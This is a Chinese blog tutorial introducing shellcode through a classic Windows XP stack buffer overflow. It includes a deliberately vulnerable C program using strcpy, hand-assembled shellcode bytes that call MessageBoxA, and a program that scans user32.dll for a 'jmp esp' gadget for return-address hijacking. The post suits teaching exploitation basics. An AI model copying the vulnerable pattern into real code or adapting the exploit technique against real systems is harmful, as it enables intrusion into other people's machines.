欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

shellcode初识

程序员文章站 2022-07-15 14:38:53
...

目标程序源码

目标程序,用于演示栈溢出

#include <windows.h>
#include <stdio.h>
#define PASSWORD "1234567"

int test(char *pwd){
    int flag;
    char buf[44];//77D507EA 
    flag=strcmp(PASSWORD,pwd);
    strcpy(buf,pwd);
    return flag;
}

int main(){
    int flag=0;
    char pwd[1024];
    FILE* fp;
    LoadLibrary("user32.dll");
    if(!(fp=fopen("password.txt","rw+"))){
        exit(0);
    }
    fscanf(fp,"%s",pwd);
    flag=test(pwd);
    if(flag){
        printf("incorrect password!\n");
    }
    else{
        printf("Congratulation!\n");
    }
    fclose(fp);
    return 0;
}

test函数中buf大小为44,flag的size为4,内存结构为
44 byte的buf
4 byte的flag
4 byte的ebp
4 byte的返回地址

方法一

shellcode放在当前栈区,利用ret跳转到shellcode

33db        //xor ebx,ebx
53          //push ebx
6877b57374  //push 7473b57768
686661696c  //push 6c69616668
8bc4        //mov eax,esp
53          //push ebx
50          //push eax
50          //push eax
53          //push ebx
b8ea07d577  //mov eax,0x77d507ea  调用MessageBoxA,函数地址可能不同,更具实际值填入
ffd0        //call eax

编辑flag.txt
shellcode初识
结果
shellcode初识

方法二

由于栈地址是动态分配的,无法确定当前shellcode地址;此外,ret发生溢出时,esp地址不会被修改,所以可以利用一些dll文件中的jmp esp,来达到跳转的目的。

/*
    标题:查找user32.dll中的jmp esp
    编辑器:vc6.0
    系统:windows xp
*/
#include <stdio.h>
#include <windows.h>
int main(){
    HINSTANCE handle=LoadLibrary("user32.dll");
    if(!handle){
        printf("load dll error!\n");
        exit(0);
    }
    BYTE* ptr =(BYTE*)handle;
    for(int position=0;;position++){
        try{
            //查找jmp esp的opcode
            if(ptr[position]==0xff&&ptr[position+1]==0xe4){
                printf("%d\n",position);
                break;
            }
        }
        catch(...){

        }
    }
    return 0;
}

得到文件内偏移0x103251,加上user32.dll的地址,就是jmp esp的地址
修改flag.txt
shellcode初识
运行结果相同